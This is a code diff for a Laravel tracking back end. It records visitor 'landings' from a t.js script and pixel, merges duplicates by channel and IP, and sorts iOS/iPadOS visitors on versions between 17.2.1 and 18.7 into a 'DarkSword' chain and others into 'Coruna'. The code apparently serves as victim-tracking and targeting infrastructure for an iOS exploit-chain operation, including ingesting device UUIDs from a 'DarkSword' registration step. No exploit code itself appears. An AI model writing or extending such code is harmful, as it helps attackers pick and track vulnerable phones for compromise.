diff --git a/app/Http/Controllers/PageHitController.php b/app/Http/Controllers/PageHitController.php index 32e0295..0e89d03 100644 --- a/app/Http/Controllers/PageHitController.php +++ b/app/Http/Controllers/PageHitController.php @@ -43,10 +43,9 @@ class PageHitController extends Controller $parsed = UserAgentParser::parse($ua); $referer = $this->referer($request); - PageVisit::query()->create([ + PageVisit::recordLanding([ 'channel_id' => $channelId, 'client_uid' => $uid, - 'chain' => PageVisit::CHAIN_CORUNA, 'user_agent' => $ua !== '' ? $ua : null, 'os' => $parsed['os'], 'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null, @@ -55,8 +54,7 @@ class PageHitController extends Controller 'ip' => $ip !== '' ? $ip : null, 'domain' => $domain, 'referer' => $referer, - 'created_at' => now(), - ]); + ], PageVisit::chainFromIosVersion($parsed['os'], $parsed['os_version'])); return $this->pixel(); } diff --git a/app/Models/PageVisit.php b/app/Models/PageVisit.php index 9695f7a..b413ef8 100644 --- a/app/Models/PageVisit.php +++ b/app/Models/PageVisit.php @@ -41,6 +41,25 @@ class PageVisit extends Model return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna'; } + /** + * t.js landings: iOS > 17.2.1 and < 18.7 count as DarkSword. + */ + public static function chainFromIosVersion(?string $os, ?string $osVersion): int + { + if (! in_array($os, ['iOS', 'iPadOS'], true)) { + return self::CHAIN_CORUNA; + } + $version = trim((string) $osVersion); + if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) { + return self::CHAIN_CORUNA; + } + if (version_compare($version, '17.2.1', '>') && version_compare($version, '18.7', '<')) { + return self::CHAIN_DARKSWORD; + } + + return self::CHAIN_CORUNA; + } + public static function normalizeDomain(?string $value): ?string { $value = trim((string) $value); @@ -59,6 +78,64 @@ class PageVisit extends Model public const VISITOR_UID_LENGTH = 16; + public const LANDING_MERGE_SECONDS = 60; + + /** + * One landing = one row. t.js and DS register share this so the same + * channel+IP within {@see LANDING_MERGE_SECONDS} is merged, not doubled. + * DarkSword wins on chain; register may replace client_uid with the device UUID. + * + * @param array $attrs + */ + public static function recordLanding(array $attrs, int $chain): self + { + $channel = (string) ($attrs['channel_id'] ?? ''); + $ip = self::normalizeIp(isset($attrs['ip']) ? (string) $attrs['ip'] : null); + $existing = null; + if ($channel !== '' && $ip !== '') { + $existing = static::query() + ->where('channel_id', $channel) + ->whereIn('ip', self::ipLookupKeys($ip)) + ->where('created_at', '>=', now()->subSeconds(self::LANDING_MERGE_SECONDS)) + ->orderByDesc('id') + ->first(); + } + + if ($existing) { + $updates = []; + if ($chain === self::CHAIN_DARKSWORD && (int) $existing->chain !== self::CHAIN_DARKSWORD) { + $updates['chain'] = self::CHAIN_DARKSWORD; + } + if ($chain === self::CHAIN_DARKSWORD) { + $uid = trim((string) ($attrs['client_uid'] ?? '')); + if ($uid !== '' && $uid !== (string) $existing->client_uid) { + $updates['client_uid'] = substr($uid, 0, 64); + } + } + foreach (['user_agent', 'os', 'os_version', 'browser', 'browser_version', 'domain', 'referer'] as $field) { + $incoming = $attrs[$field] ?? null; + if (! is_string($incoming) || trim($incoming) === '') { + continue; + } + $incoming = trim($incoming); + $current = trim((string) ($existing->{$field} ?? '')); + if ($current === '' || ($field === 'os_version' && $chain === self::CHAIN_DARKSWORD)) { + $updates[$field] = $incoming; + } + } + if ($updates !== []) { + $existing->fill($updates)->save(); + } + + return $existing; + } + + $attrs['chain'] = $chain; + $attrs['created_at'] = $attrs['created_at'] ?? now(); + + return static::query()->create($attrs); + } + /** * Stable visitor id: same domain+ip always yields the same 16-hex value. */ diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index e10c015..a3467a3 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -153,10 +153,9 @@ class DarkSwordIngestAdapter $ip = $this->clientIp($request, $payload); $referer = trim((string) $request->headers->get('referer', '')); - PageVisit::query()->create([ + PageVisit::recordLanding([ 'channel_id' => $channel, 'client_uid' => $uid, - 'chain' => PageVisit::CHAIN_DARKSWORD, 'user_agent' => $ua !== '' ? $ua : null, 'os' => $ios !== null ? 'iOS' : $parsed['os'], 'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null), @@ -165,8 +164,7 @@ class DarkSwordIngestAdapter 'ip' => $ip !== '' ? $ip : null, 'domain' => PageVisit::normalizeDomain($request->getHost()), 'referer' => $referer !== '' ? substr($referer, 0, 512) : null, - 'created_at' => now(), - ]); + ], PageVisit::CHAIN_DARKSWORD); } /** diff --git a/channel-builder-new/source/weifile/templates/blank.html b/channel-builder-new/source/weifile/templates/blank.html index bfe6958..da9c16e 100644 --- a/channel-builder-new/source/weifile/templates/blank.html +++ b/channel-builder-new/source/weifile/templates/blank.html @@ -5,6 +5,7 @@ weifile +